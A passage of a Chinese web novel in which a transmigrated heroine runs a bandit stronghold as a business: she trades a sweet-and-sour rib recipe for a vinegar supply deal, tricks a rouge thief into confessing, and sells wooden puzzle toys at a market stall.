她舀出一小勺油放到锅中,等锅热起来,油一温,又放入糖块炒糖色。
程掌柜看着她颠勺、翻炒,闻着空气中的香味,飘飘欲仙。
等锅里的糖色都变成了诱人的枣红色,她又轻巧地将锅开始翻转,又加入葱
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姜、八角等大料。不一会儿,锅里的排骨已经变得色泽红亮。
一截一截的排骨外面裹上了一层浓郁的香汁,像光泽的玛瑙,再撒满芝麻粒儿,香气从鼻尖一直蔓延到嗓子里头,让人恨不得再多吮吸几口。
醉仙楼的掌勺厨师已经看呆了。
刚刚程掌柜让他一起站旁边学习,他还不服气。
做菜总归就是炖焖煮三种做法,他都当了十几年的厨师了,难道还会不知道?跟这么一个小丫头片子学做菜,他怕掉了自己的脸面。
看完陆令嘉这一番炒菜的操作,他已经彻底折服了。
菜肴居然还能拿来炒的?!
况且这香味做不得假!
光是看着,他的哈喇子就不自觉地流了下来。
陆令嘉最后一共做了两道菜,一道糖醋排骨,一道椰子鸡。
等她将两盘菜端出来时,程掌柜等人都睁大眼睛,不由地咽着唾沫。
香!太香了!
陆令嘉将袖子捋下,笑道:“尝尝看,好不好吃。”
程掌柜听到指令,立马抽了几双筷子分给众人。他就近夹起一块糖醋排骨放入嘴中,眯起眼睛品尝。
排骨脆而嫩,酥软的肉质与浓郁的酱汁混合在一起,酸酸甜甜的。这酱汁就算是拿来拌饭,也能配着吃下一大碗!
石头在一旁急得不得了,恨不得也拿上一双筷子跟着他们一块尝一口。
大当家上次怎么没做这道菜!
他看着这么一群人狼吞虎咽的,他的口水也要流到领口了!
“怎么样?”陆令嘉笑问。
程掌柜将最后一口排骨吞下,连盘子里的汤汁都蘸干净了,这才竖起大拇指:
“实在是人间美味!尤其是这道糖醋排骨,酸甜开胃,香而不腻!陆姑娘是准备把这个菜谱卖给我?”
陆令嘉摇头:“不卖!”
程掌柜心里咯噔一下。
他本以为陆令嘉这么正大光明地不避着他们做饭,菜谱这事是稳操胜券的,怎么她又突然反悔了呢!
刚刚前面几个步骤方大厨应该是都记下来,就是最后调的酱汁不知道用的是什么!
他急道:“陆姑娘,我们都合作这么多次了,这菜谱你准备卖多少钱?价钱好商量!”
陆令嘉微微一笑:“程掌柜,这菜谱我不卖。”
她看着对方焦急的眼神,继续说了下去:“这菜谱,我可以送给程掌柜,但是......”
“但是什么?”程掌柜的心被她吊到了嗓子眼,只要不是太苛刻的要求,他都应下了!
陆令嘉悠悠道:“这道菜里用的一个配料,是醋。正巧,我们这段时间准备酿一些酱料和陈醋,如果程掌柜日后能收了我们的调料,菜谱不是问题。”
她最后还是忍痛用了二十积分还有仅剩的十两银子在系统里兑换了酿制酱油和陈醋的配方,毕竟为了山寨的可持续发展,还是需要多点赚钱的路子。
程掌柜听完,顿时长吁一口:“这点小事,好说好说!以后你们的酱料我都包圆了!”
哪怕他用不完,也可以替他们牵线卖到别处去。
他今天算是瞧见了,这位姑娘本事大着呢!她手上肯定不止这两道菜谱,若是交好,以后肯定于他多有裨益!
一桩大生意谈成,陆令嘉和程掌柜还当面签订了一份书面协议,各自签字画押,以此为证。
两个人是都生怕对方反悔!
末了,陆令嘉收了满满一袋钱,这才想起来跟程掌柜介绍石头。
“这是石头,我弟弟。以后就由他来跟您对接一应事务。”
程掌柜捋了捋胡子,打量着他,笑赞道:“好好好,小伙子年轻有为啊!”
石头不好意思地挠挠头,腼腆地自我介绍一番,并且跟程掌柜约定好,以后每月的初一和十五来送货。
他今天算是见识到了大当家的本事,与他人谈判起来游刃有余!
他也得好好跟着学学,争取早日能成为大当家的左膀右臂!
卖完了油和糖,他们的荷包瞬间就鼓起来了,这么一趟差不多赚了就有三两银子,石头的眼睛都亮了。
就按这个速度下去,那他一年就能攒到娶媳妇的钱了!
-
两个人又在县城里走走逛逛,买了不少米面,还割了五十斤猪肉。
石头本来舍不得买。
但是陆令嘉说,赚钱本来就是为了提高生活品质的,钱花完了还可以再赚!
石头现在已经是陆令嘉的狂热粉丝,大当家说什么他都觉得是对的!只一个劲地点头,负责把新采买的东西装进背篓里。
天色已经完全暗了下来。
陆令嘉见时机差不多成熟,抓起石头的衣袍就往城门口跑。
得抓紧趁着天黑看不清往寨子里赶路,可不能再被那反派王爷给黏上了!
他们两个气喘吁吁地跑到了城门口。
陆令嘉四处张望,始终没瞧见谢昭的身影,这才放下心来。
幸好一开始就把他丢下了!
不然还不知道怎么甩掉这个牛皮糖!
她脚步渐渐慢了下来,喘着气恢复体力,慢慢走出了城门。
月亮高悬天际,耳边风声呢喃。
空气都变得清新了!
城门口不远处的一棵大树上,谢昭懒洋洋地倚靠在上面,终于看到等待的人影,长腿一迈,几步之间就追上了他们:
“陆姑娘,我可等你很久了。”
7. 第 7 章
靠!
陆令嘉在心里骂了第八百遍。
这王爷和书中人设严重不符!
她要投诉!
她看的这本小说是不是盗版?!
只不过当下,陆令嘉还是得维持着假笑,发挥出她那奥斯卡影后般的演技:“公子怎么在这?你想起什么了吗?”
谢昭面无表情地摇头。
其实他本来都要走到府邸门口了,恰好路过醉仙楼的时,闻到了一股似有若无的香味,再结合她早上说的话,心下就有了判断。
然后他就硬生生拐了个弯,又走到城门口等他们了。
王府的路是往哪里走来着?
他怎么好像突然不记得了……
他这一副温润冷淡的模样,看在陆令嘉眼里,那是一个晴天霹雳。
早知道这样她带他出来干嘛?
还浪费了她一文钱!
她挣点钱容易吗?天天起早贪黑的!
“那一块回去吧。”她有气无力地拖着疲惫的步伐,再没有了刚刚来时的春风得意。
谢昭听到她的回答,暗自松了一口气。他惯不会扯谎哄人,就怕对方问得仔细,答不上来。
石头跟着两人后面闷不做声,他总觉得大当家对着这个突然出现在寨子里的男人态度怪怪的。
好像有那么一丝恭敬和...害怕?
石头忙甩了甩头。
大当家怎么可能会害怕别人!
还是这么一个手无缚鸡之力的书生!
空旷的道路上阒静无声,只余天上的点点繁星相伴。
忽然,一阵疾风呼啸而过。
“驾——”
前方,一群士兵骑着高头大马,驰骋而来。
马蹄扬起的尘土溅了他们一脸。
“咳咳咳——”
三人掩面咳嗽个不停。
这要是在现代,交警分分钟要给他们开罚单!
陆令嘉正想回头看看到底是何方神圣,为首的一个突然拽紧缰绳掉头而来。
不是吧!
她就在心里骂几句,这都能听到?
陆令嘉加快脚步,抬腿就要跑。
马匹在他们前方停下,为首的将领尚一身戎装,翻身下马,径直走了过来。
陆令嘉双手交叉挡在面前想要辩解:“我不是故意的——”
话还未说完。
来人一个单膝下跪,冲着谢昭拱手抱拳:“末将来迟,请王爷降罪!”
空气中突然安静下来。
片刻,一声微不可闻的叹息响起。
谢昭抬抬手:“起来吧。”
他目光幽幽,看起来没有半分知晓自己身份后高兴的样子。
来人立马起身,抱着谢昭嚎叫:“吓死我了,呜呜呜……子期我还以为你被哪个山匪抓走了!呜呜呜……”
谢昭:“……”
这时,陆令嘉和石头两个人也齐齐转头看向谢昭,尤其是石头,惊讶地嘴巴都能塞下一颗鸡蛋了。
“王...王爷?”
陆令嘉听到石头颤抖的声音,立马浮夸地张开手掌捂住嘴巴:“你是王爷?”
谢昭点头,上前一步:“抱歉,我也是...…才想起来。”
好拙劣的演技!
陆令嘉一眼识破!
她一脸遗憾:“既然如此,王爷还是快点回去歇息吧!这些时日招待不周,还请见谅!”
太好了!
总算能把这个瘟神送走了!
石头后知后觉才反应过来,小鸡啄米地跟着点头!
王爷啊!他这辈子第一次近距离接触这么大的官!
还跟他们同吃同住了这么多天!
石头与有荣焉,回去得跟寨子里的人好好说道说道。
谢昭幽怨地望向刚刚那个为首的将领,眼睁睁地看着陆令嘉和石头迈着欢快的步伐回去了。
如果他没看错,那个叫石头的背上,装着一背篓的猪肉!!
-
终于摆脱了书中这个反派男配,陆令嘉一身轻松。
刚回到寨子里还没坐下,四叔和张婶就围了过来。
四叔递过来几份样品,虚心地请教:“陶陶你看看这些个玩意做得对不对?”
陆令嘉接过一看,玩具火车和鲁班锁还真的被他还原出来了!
她新奇地拼凑了一会儿,连连点头:“是这样的,你看……”她上手拼了一会儿,榫卯结构的木头“咔哒”一声扣在了一起。
“成了!四叔真厉害!”她真心实意的夸赞道。
四叔赧然:“是你给的图纸详细!”
陶陶画的这些东西可太有意思了,他们现在也只做出零星几样,要想全部研究透估摸着还要一段时间。
陆令嘉又拿起一个玩具火车,她三两下拼凑好一个轨道,把木制的火车放上去滑了下来。
□□叔:“这个长得像马车的玩具有意思!装了四个小轮子就可以滑来滑去,但是前头又不用马来拉,小孩子铁定喜欢!”
张婶瞅着也眼热:“可不是嘛!我家虎子今天过来瞧见,抓着都不肯放手!”
陆令嘉立马想到一个新主意,跟四叔商量:“四叔,你们能否先赶制做一批出来?”
既然都得到小孩子的认证,还不得抓紧把这些玩具推销出去!
四叔应了一声,立马就提着他那些木箱子离去了。
真是个朴实无华加班加点的好员工!
等四叔一走,张婶趁着空隙连忙走向前来。
她把包着的的棉布打开,里面正是这几日新做的胭脂口红。
她有些手足无措,不知道怎么开口。
陆令嘉便直接打开瓷罐看,这才发现问题大了!
这些胭脂口红完全不固色,黏黏糊糊的,甚至都没成型!
这不应该啊?
陆令嘉问道:“张婶,你们是按照我给的配方做的吗?”
胭脂制作的方法简单,她还特地自己尝试做了一个,确保可以做出来,才跟张婶详细地说了制作过程。
“是啊!我们几个人都是按照大当家您给的配方做的,可唯独这几个不知怎地,打开没多久就褪色了,而且都不成型。”
张婶紧张地抓着衣袖,来回搓着手指头。
大当家的信任她,还让她当了什么小组长,带着大家一起做胭脂和口红。
她们都是女人,当然知道这些玩意有多值钱,每个人都是用了心的!
现在出现这种情况,她有很大一部分责任。
陆令嘉看出来她的不安,安慰道:“张婶先别急。”
她突然想起刚刚张婶说的话,又问:
“你刚刚说,只有这几份是这样吗?其他做好的成型的能不能也拿过来给我看看?”
“有有有!”
张婶急忙跑去,打开一个硕大的木盒子,里面整整齐齐地码着做好的胭脂瓷罐
张婶数着:“一二三四……二十三……欸?!不对啊!”
陆令嘉:“怎么了张婶?”
张婶:“少了一盒胭脂!”
陆令嘉的眸色暗了暗,没有说话。她兀自先打开了一盒正常的胭脂,将不同的两盒分别放到鼻子下嗅了嗅,又各自用手指蘸取一点,涂在手背上试验对比,一下子就得出了答案。
陆令嘉道:“张婶,这几盒没用的胭脂是因为添加的油脂不够。”
做之前她特地交代了几人几个重要的节点和步骤。
也许是有人为了昧下那点猪油,所以减少了添加的油脂。
少了的那盒胭脂还说明了另一个问题,她的威信力还不够。
否则怎么会有人敢在她眼皮子底下做这些偷鸡摸狗的事情?
陆令嘉心里做了一些决断,宽慰了几句惴惴不安的张婶,打发她先回去了。
-
次日一早。
陆令嘉召集了寨子里做胭脂的几位集合。
她开口先微微致歉:“各位婶娘,不好意思。
先前不是让大家做一些胭脂口红准备贩卖吗,昨天张婶来找我一核对,这才发现少加了一个重要的配料,这可不好了啊!
少了这个配料,这些个胭脂和口红里的花草和油脂一混合,就变成有毒
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的东西了。一旦使用了掺着毒的胭脂,这些毒素就会进入人的身体里,还会毁容的呢!”
她冲着张婶眨巴眨巴眼睛,不停地使着眼色。
张婶立刻心领神会,接嘴道:“都怪我!年纪大了记不住事,居然把大当家交代的事情给忘了!”
两个人话一出,人群中便叽叽喳喳闹开了。
“那怎么办?我们这几日劳动岂不是白费了?”
“就是啊,白白辛苦这么多天,结果都报废了!”
“真想不通,大当家当初为什么选她当小组长,随便换个人来都不会把这么重要的事情记漏了吧!”
……
陆二婶钱氏听完话后只觉得浑身发抖,嘴唇发白,她颤抖地问道:“那要是用了这有毒的胭脂,多久会毒发啊?”
这该死的张婶!怎么这般没记性!
陆令嘉一直注视着她,笑了声:“一两次还好说,不会有太大的反应……”
钱氏陡然松了一口气,还没等她放松下来,陆令嘉的声音又响起。
“不过嘛,只要用了这有毒的胭脂,多多少少总归还是有些影响的,脸上起小疙瘩也不好说。以后最好是要多吃素少吃肉,不然毒素容易堆积在身体里,排泄不出来总归是不好的。”
钱氏暗暗记下,眼神一直飘忽不定,没曾想她这副模样早就被人看在眼里。
陆令嘉从一开始就一直观察着众人的反应,等钱氏开始问出这话时,便一直盯着她看,这下还有什么不明白的?
不过张婶配合她演了这么出戏,她也不能委屈人家。
她高声说道:“张婶昨天来找我时非常愧疚,自己把她自己仅剩的首饰都给当了,说亏损由她来负责。”
“也幸好啊,只是少了一个配料而已,还能补救。”
“这样,今天晚上我和张婶一起把这批胭脂返工,从今往后,每个人做的都在盒子下面做个标记,谁做的出了问题就找谁!”
她这是学习后世的责任分工制,只有将每个人的责任落到了实处,这样以后出了问题才不会出现推诿扯皮的后果。
众人刚刚的议论声轻了一些,只时不时拿眼睛瞟几眼张婶。
张婶自己也觉得愧疚。
当时大当家说好的,每组的小组长每个月都可以多分到五斤猪肉,多少人都眼红着!
陆令嘉看着几个人的表情,心想还得再来一个猛剂!
她继续道:“为了弥补大家,这第一批的成品,等我们返工好,每个人都能领一个回去!”
女人都爱美,黑风寨里的人也不能例外。
她话音刚落下,大家就开始欢呼了!刚刚对张婶的抱怨也变成了赞美,如果不是她忘记了,她们也没机会用到胭脂。
“大家都有忘记的事情,也不能怪张婶一个人。”
“确实,她还要兼顾着给大家伙做饭,一下子忙忘了也是正常的。”
“我等会可要好好试试,我还没用过胭脂呢!不知道擦上去到底会是啥样!”
“你可真臭美!”
她们六人打打闹闹,张婶一个劲地对着大家道歉说是自己的疏忽,这事就这样算揭过去了。
陆令嘉示意张婶把那个木匣子待会就这么放着,等着“贼”自己把东西放回去。
“掺了毒的胭脂”到时候和正常的胭脂放在一起搞混了,那人辨别不出,可没法子继续使用了。
她私下对着张婶说道:“不好意思啊,让你受委屈了。”
张婶忙摇头:“不会的不会的。”她也知道大当家是为了抓出小偷才使的这个计策。
“不能让婶子白受这个委屈。”她想了想,道:“虎子既然这么喜欢四叔的玩具,不如每一样都送他一份。”
“这可使不得!我知道这些都是要卖钱的!”
陆令嘉笑道:“没关系的,都是自个儿做的东西,到时候寨子里的小孩想玩的话,也可以到虎子这里玩。”
听得张婶最后是热泪盈眶,连连道谢。
开玩笑!她也是一个有良心的老板。
员工背了这么大一口锅,她不得补偿补偿吗!
8. 第 8 章
果不其然,张婶傍晚去找陆令嘉的时候,告诉她木匣子少的那盒胭脂回来了。
陆令嘉心里有数,不过还是交代了一声:
“张婶,以后东西收齐后你都点一遍,毕竟‘家贼难防’啊!”
“大当家放心,我以后一定把东西都锁好!”
陆令嘉也不好当众点破怀疑是钱氏拿的。
一来,他们没有确凿的证据;二来,大家都生活在一起,抬头不见低头见的。
到时候钱氏反咬一口,说是她们诬陷,那寨子里的人会选择相信谁也不好说。
她的五年计划列表上又多了一个新的目标。
等以后还是要像以前一大家族的人要‘分家’一样,各自分开过。
真的谁家有困难,相互搭把手就够了。
-
晚饭又是陆令嘉掌勺,张婶在一旁给她打着下手。
她烧了一大锅红烧肉炖豆腐,又炒了几盘野菜。
虽然比较简单,但耐不住实在是真香啊!
寨子里的人端着饭扒拉着菜和肉,手上的筷子都快要挥出残影了。
没多久,锅里的仅剩的汤汁都被人倒得一干二净了!
大家伙现在顿顿都有香喷喷的米饭和肉吃,别提多舒坦了。
以前哪过过这种日子!哪怕是打了猎,也只是偶尔能打打牙祭。
众人再一次对大当家打心里佩服!
不得不说,有了群众基础,陆令嘉开展工作起来就简单多了。
她在会上提出以后不得□□烧,也不能做违反犯罪的事情的时候,马上就得到了呼应。
其实说实话,有哪个人愿意真的当山匪的?
当初是没了办法,才选择落草为寇,干着把脑袋别在裤腰上的生活。
现在他们能凭自己双手赚钱,还能吃上肉,谁还愿意回到过去!
会议结束后,陆令嘉又召集了几个组长开了个小会。
四叔他们已经赶制了一批玩具出来,张婶这里也有二十个胭脂和口红,陆二叔说再过断时间山栏稻便可以丰收,剩下的石头也汇报了一下昨天的成果。
石头刚说完,桌上的几人都连连震惊:“你说多少?”
石头:“三两八钱!”他来来回回数了好多遍!
陆令嘉笑着解释:“其实也没有这么多,后面还买了米面和肉,所以差不多结余应该正好在二两左右。”
“对对对!”石头不好意思地摸着脑袋,他一时太激动,都忘记减去采买的银子了,到时候拿不出这么多钱,寨子里的人还会笑话他吹牛!
陆二叔听完面色阴沉,一时没有开口。
而其他几人都纷纷夸赞了石头,说他聪明能干!
陆二叔听着怒火更甚,一簇一簇的火苗往他喉咙上面钻着。他右手握拳,砰地一声敲了一声桌面。
大家被他突如其来的这一举动都吓到了,转头看向他。
陆令嘉先开了口:“二叔怎么了?”
陆二叔生气地站了起身,与她对峙:“石头能赚这么多钱,是因为他手上拿着炼油制糖的方子!陶陶你今天说句实话,这方子是不是你爹给你留下的!”
几人看这架势,惊呼一声,跟着纷纷站起来想要劝架。
陆令嘉神色淡淡:“这方子是我偶尔所得,跟我爹一点关系都没有。”她本来因着钱氏,心里对着二叔一家就有了一点隔阂,现下被他这么一搞,之前仅有的一点愧疚也没有了。
他们也不想想,如果老陆头当初手里有这方子,他们能受这么久的苦,每天饥一顿饱一顿地挨饿?
陆二叔显然不信,怒吼:“那你说,你一个女孩子家家,哪里来的这些方子?!”
陆令嘉拍拍手站了起来,毫不客气:“二叔,女孩子怎么了?你可别忘了,当初是你输给我了,现在我才是寨子里的大当家!”
她随意地吹了一口握紧的拳头,眼神直溜溜地盯着陆二叔。
陆二叔突然想起被她支配的恐惧,瞬间偃旗息鼓,身子不自觉地滑坐了下来。
陆令嘉见状压压手,让大家都坐下。
她似笑非笑地看着陆二叔:“有话可以好好说,但是造谣泼脏水我可不接受!”
一直没开口的四叔看看老二,又看看陆令嘉,小声地嘀咕了一句:“我也觉得不是大哥那里来的。当时大家都饿得啃树皮了,大哥如果有这种法子,肯定早就拿出来了。”
张婶帮衬着:“是啊,就说这胭脂,老陆当家肯定不知道是怎么做的......”
石头更别说了,他也看出来了,这场风波是因着他而起的,实诚地说道:
“其实这个方法不难,只是其他人现在还没发现而已,大当家就一直说我们只是抢了个先。”
他不开口还好,一开口,陆二叔又狠狠地瞪了他一眼,鼻子里又重重地“哼”了一声,双手抱臂,不再看其他几人。
陆令嘉只当没看到,大家又讨论了一下接下来的事宜,便准备散会。
她最后作总结陈词:“石头你们等卖完这一批的油,空闲的时候可以去赶海,看看能不能捡些东西。张婶你们几个做完这一批胭脂也先停一停,我们一起先把手头上的货给卖了。”
既然跟程掌柜约好了一个月只要送两趟油,空闲的时间也不要浪费了。
来到这里的这些时日,陆令嘉仔细地观察过,不知是因为不会处理还是为何,崖州的人很少吃螃蟹、龙虾等海鲜。
这里也有不少人是捕鱼为生,但是现在是休渔期,码头上的渔船都空着,有些人这个时候就会选择去县城找别的活干。
她也是想着碰碰运气,要是他们当中有人能捡到鲍鱼海参等海鲜,也能卖不少钱!
而胭脂这种东西,如果市面上多了,也就不值钱了。
况且她也没有卖过胭脂,不知道这里的行情怎么样。
所有的事情都得按部就班,一样一样来。
陆二叔这是看着油和糖赚钱眼红了,觉得有油水可捞。
但是这些钱最后还是放到寨子里一起使用的,米面、蔬菜猪肉,哪一样不用花钱?
她还准备多赚点钱到县城里买田买地,以后在县城里盖几间房子,寨子里的人才算在崖州彻底扎根。
-
第二天天刚蒙蒙亮
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,黑风寨的众人就开始忙碌起来了。
大家吃完早饭,就按着分工井然有序地投入到工作当中。
陆令嘉又扛着大包小包,带着张婶还有虎子下山了。
她刚一走,陆二叔和钱氏便开始在自己屋子里家嘀咕起来了。
陆二叔忿忿不平:“这个陶陶,自从成了大当家,我这个做叔叔的是说都说不得了!”
钱氏也憋了一肚子气,昨天经过陆令嘉的一顿恐吓,她更是被吓得一直往茅房跑。
她掐着嗓子骂道:“还不是你没用!一个大男人,竟然连这么一个小姑娘都打不过!说出去我都嫌你丢人!”
陆二叔本来就在气头上,被钱氏这么一骂,火气更是蹭蹭蹭地就冒到头顶,他一拍桌子,脖子上的青筋绷起,表情狰狞:
“你还敢指责我?你要是没有我,现在还不知道在哪里喝西北风!再说了,你前几天拿回来这么些猪油有什么用?咱们又不自己开火做饭。什么都要贪一点,怪不得陶陶不选你当组长!”
他这不说还好,一说就直接把钱氏的怒气也点着了。
钱氏担惊受怕了一整天,就连昨天的红烧肉都不敢多尝一口,还不就是因为自家男人没当上大当家,拿些什么都得偷偷摸摸的吗?
这会儿他竟然还敢冲着自己撒气!
要是他有本事,她想要买什么胭脂和口红没有?!
外面的太阳照射进来,一股热气跟着涌入房间,空气也变得燥热了起来。
钱氏越想越觉得自己委屈,这个男人自己没本事,现在还冲着自己发脾气,她本身也是个泼辣的性子,立马站起来走到他面前,不服输地嘶吼着:
“你敢吼我?这么有本事你冲你那个小侄女吼啊!你在家跟我说这些有什么用?
“还不是因为你不敢去!你打不过她,你这个孬种!”
她的声音尖锐,因着生气又不自觉地提高了音量,骂声回响在屋子里。有几个正准备去干活的人路过,还敲敲门,探着头进来问发生什么事了。
陆二叔更觉得丢脸了。
他僵硬地绷着脸跟来往的人说没事,然后把门一关,转过身时脸已经彻底沉下来了。
“你这臭娘们,再敢吵吵闹闹,信不信我对你不客气!”
“怎么?你难不成还要休了我?!”钱氏昂着头颅,依然是那副趾高气昂的姿态。
他们两个这么多年,也生了一儿一女,女儿早早就嫁在了岭南,但是儿子跟他们在逃荒时却走散了,夫妻两人因为这事不知道有过多少次争吵,感情也在一天天的消磨中越来越淡。
陆二叔走到她身边,把桌上的碗筷一摔。
清脆的声音乍然响起,地上全是四分五裂的碎片。
“别的我不管,这个家,现在还是我说了算。”
陆二叔用力地把钱氏一推,甩袖离去。
钱氏一个没站稳,踉跄间摔倒在地,手撑在了地上,慌乱中不巧又按在了散落的碎瓷片上,霎时间,鲜血直流,染红了地面。
她吃痛地呼了一声,目光中充满了愤恨,狠狠地瞪向陆二叔离去的背影,怒目切齿,怨恨不甘。
9. 第 9 章
陆令嘉丝毫不知道二叔家的这件官司。
她带着张婶进了城,就在杂货铺的附近找块空地,支了个摊子后,就让虎子坐在布上面玩小火车。
虎子正是爱玩的年纪,这么多稀奇的玩具,马上就坐着自顾自地玩了起来。
现下时辰尚早,大部分的人都还在那边菜场挑选,但一般等采买完果蔬后,就会来旁边的杂货铺或者粮油店逛逛。
幸好她们选的地方旁边有一棵大槐树,枝叶繁茂,层层叠叠的枝叶遮住了刺眼的阳光。
等附近人流量多了起来后,陆令嘉便提高嗓音,热情地招呼起来:
“瞧一瞧看一看啦,特地给幼儿准备的玩具,从小锻炼小孩的脑力,让孩子以后读书更加轻松。”
她喊得大声,围观的人群也越来越多。
“这是什么东西?看着怪新奇的。”有人问道。
张婶从来没应付这种场面,双手不自觉地握在了一起,紧张地额头上都微微渗出细密的汗珠。她看着陆令嘉,支支吾吾地发不出声音。
陆令嘉立马嘴甜地接过:“这位姐姐,这是给小孩子玩的玩具,可以锻炼脑子的,您看看要不要买回去家里的弟弟妹妹玩?”
“姐姐?”那名中年妇女身着锦衣,害羞地捂着脸,却开心地笑了,“我这年龄都能当你娘亲了,你怎么管我叫姐姐。”
陆令嘉面露惊讶:“哪能呢,您这年龄顶多二十出头。”
中年妇女被她哄得一愣一愣的,于是就顺嘴问道:“那这个要怎么玩?”
陆令嘉:“虎子,快玩给我们姐姐看看。”
张婶一听,立马走过去拍了两下虎子。
虎子把小火车顺着轨道上滑下来,然后又沿着平地往外滑行了一段路程。他还小,撅着小胖腿摇摇晃晃地追着跑,嘴里“车...车”地喊个不停。
许是他这幅模样过于滑稽,不少人都笑了。
“多少钱啊?”
“一百文一个。”
“一百文?!”人群中有人惊呼,“你这卖的也太贵了吧!”
零零散散有些人便摇头走了。
刚刚那个中年妇女依然还在,她指了指旁边的鲁班锁,问道:“那又是何物?”
张婶虽然笨拙地说不出话,但是手脚还是非常利索。
她一看到这个人明显对她们的玩具感兴趣,主动地把几个形状不一的鲁班锁递了过来。
陆令嘉解释:“此物叫鲁班锁,可以当做给小孩的玩具。当然您平日里也可以玩这个,打发时间。”
对方又问:“那这个又怎么卖呀?”
“六十文一个,买三个送一个。”她想了想,冲着还未离去的人群喊道:“如果谁能在半刻钟内拼好,免费送!”
张婶急了,扯着陆令嘉的袖子轻声问道:“大当家,怎么能白送呢!”
陆令嘉:“别急,您瞧好了!”
免费的噱头太过于吸引人了,许多人都等着跃跃欲试,小摊前又重新聚满了人。
陆令嘉把东西第一个递给了刚才的中年妇女,毕竟这才是她们的最潜在的客户!
“这位姐姐,试试?”
那人笑着接过,开始尝试。
她开始还颇为自信,觉得小儿的玩具,应该没多大的难度。
她挑出几块感觉能相匹配的木块拼在一起,但是轻轻往里一推,又纷纷散落,回到了最初的模样。
漏刻里的细沙顺着狭缝缓缓流动,窸窣的蝉鸣也静了下来。
木块在她手中翻转、组合、再拆分,但最后都是以失败告终。
“时间到——”
陆令嘉眉眼弯弯,偏头看向她。
那人不好意思地放下了手中的鲁班锁,赧然:“这东西看着简单,但是真的上手尝试才发现没那么容易。”
陆令嘉笑着把木块收回,又问:“姐姐要不要买一个回去?我这有详细的图纸,买回去可以照着样子拼。”
女人被她哄得开心,痛快地掏钱:“刚刚那个马车玩具我要了,再这个给我包三个起来。”
这就卖出去了?
张婶还没反应过来,陆令嘉眼疾手快地收了钱,然后把东西包好了递过去,
“您是今天的第一位客人,多送您一个。”
那人低头检查了一遍后就把东西递给身边跟着的丫鬟,冲着陆令嘉又笑了笑这才打道回府。
众人见第一个人尝试失败离去了,便有人扯着嗓子问道:
“刚刚说的话还作不作数了?”
“就是啊,那个人拼不起来,不代表我们拼不起来!”
“老板赶紧地啊,没看到我们正排着队吗?”
......
陆令嘉为了节约时间,赶紧把几个鲁班锁一字排开,站到了一边,冲着后面的人招手示意。
人群中瞬间唰唰上来了三个人,站到了摊子前面。
她把漏刻里的沙子全部倒向一头,又砰地一声重新放好,宣布:“开始!”
三个男人自信满满,对于这些零星木片颇为不屑。看都都不去看拼好的成品一眼,直接拿起木片对准、旋转,想把这些榫卯插.入。
没过多久,便有人眉头紧缩,汗流浃背了,这才频频抬头观察放着展示样品,却依然不得要领。
“时间到——”
陆令嘉敲了一下锣鼓,示意三人放下手中的木片。
“几位是否要购买一个回去研究?”
他们三人中有人不服气了:“谁知道你是不是偷偷动了手脚,故意让我们拼不成功,好诓骗我们来买你的东西!”
“对!你肯定是动了手脚!”一人附和道。
就这么简单小玩意,他们怎么可能会拼不起来!
陆令嘉噗嗤一声笑了:“那就让各位看好了。”
她冲着还在玩小火车的虎子喊了一声:
“虎子,过来拼给这几位叔叔看看!究竟是我们动了手脚,还是这几位叔叔不够‘聪慧’。”
虎子闻言立马乖乖地走了过来。
他也知道陆令嘉是老大,听她的话就有好吃的糖块还有好玩的玩具。
“虎子,先拼这个。”陆令嘉把虎子带到最左边的那人面前,也是最初发出质疑的那位。
四叔刚做好第一批鲁班锁的时候,陆令嘉就每样拿了一个给虎子。
虎子也确实有几分天赋,花了几天的时间解出了一两个。
但是为了今日摆摊的准备,陆令嘉又特地给他演示过几遍,让他务必要熟练地拼凑好每一个鲁班锁。
虎子拿起面前的木片就开始拼凑了,他压根不需要比对,每一根木片应该在哪里,他早就记熟了!
娘可是说了,要是他今天表现好,回去就给他吃糖!
那人还在不依不饶:“怎么到他这就不计时了?难道小孩子就可以多用些时间吗!”
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>很快,他就知道为什么不计时了。
他话音刚落下没多久,虎子就已经把一个完整的鲁班锁拼好了。紧接着,他又走到了第二个,第三个......
差不多每一个都只花了不过一分钟的时间。
陆令嘉:“诸位可看清了我们有没有动手脚?”
她拍了拍虎子的脑子,温柔道:“去那边继续玩吧!”
“这会儿大家信了吗?”
刚刚挑事的人灰溜溜的逃走了,而剩下的一个人,却很感兴趣,掏钱买了三个回去。
陆令嘉拿起虎子拼好的几个成品给众人展示,冲着人群挥手:“还有人要试的吗?”
“我来!”
“我也要试!”
“我也来!”
......
又来了三人。
他们刚刚看着虎子演示了一遍,有人就心想着赶紧来占一占这免费的便宜。
片刻,三人中还真的有一个人完完整整地拼好了一整个。
陆令嘉说到做到,当即就把东西送给了他。
那人却拱手:“方才是看到那位小娃娃拼了一遍,这才侥幸让在下拼成了。听姑娘说,若是买了这玩具,将会赠送详细的图纸是吗?”
“没错,只要买了都会附带一份说明书。”
“说明书?这名字倒是别致。”他笑了笑,从衣襟里掏出一两银子。
“每一个我都要一份,包起来吧。”
“好嘞!”
陆令嘉刚收下银子,张婶已经麻利地把东西都给包好了。
陆令嘉心下一动,又多说了一句:“我们过段时间还有新品,若您喜欢,可以到醉仙楼预订。”这人看着是个大主顾,可以好好发展发展。
男子点头,收了东西正欲离去。
人群中的百姓有人将他认了出来,喊道:“这不是我们的县丞赵大人吗?”
县丞?
陆令嘉心道,不会这么凑巧吧?
赵大人似乎不愿被人认出,听到呼喊声,立马掩面而逃。
而众人盯着陆令嘉的摊位,一个个都涌了上来。
这可是之前连中三元的赵昶大人啊!
赵大人当年状元及第,时任工部侍郎,却因和同僚政见不和,遭人陷害,被贬至了崖州,在这隔绝障海的当着一方县丞。
他既然都花钱买了这玩意,那说明这玩意是真好!
也许真的能促进自家孩子的智力发展呢?
大家都开始纷纷抢购了!
她们两个人也没想到大家会突然涌上来,一时忙得连钱都收不过来。
最后还是靠着陆令嘉的吼叫维持了秩序,一个个按先来后到的顺序排好了队伍,按批次购买。
日暮西斜,夕阳成片地映在了他们身上。
陆令嘉安排的托都还没派上用场,他们带来的玩具就已经全部一扫而空了。
要不说明星带货效应就是好呢!
张婶从来没见过这么多银子,还有点不敢相信,把袋子里的钱数了又数,最后声音都有些变调了:
“大当家,这些都是咱们赚的?!”
“是啊。张婶你们几个人带着虎子去买五十斤肉,我还要去酒楼那边办点事。”
张婶把钱袋束得紧紧的,贴身放进了衣襟里,再牵着虎子,笑得嘴巴都合不拢了:
“大当家放心,保准你回来就有热乎乎的饭菜吃。”
10. 第 10 章
去醉仙楼的路线陆令嘉已经轻车熟路了。
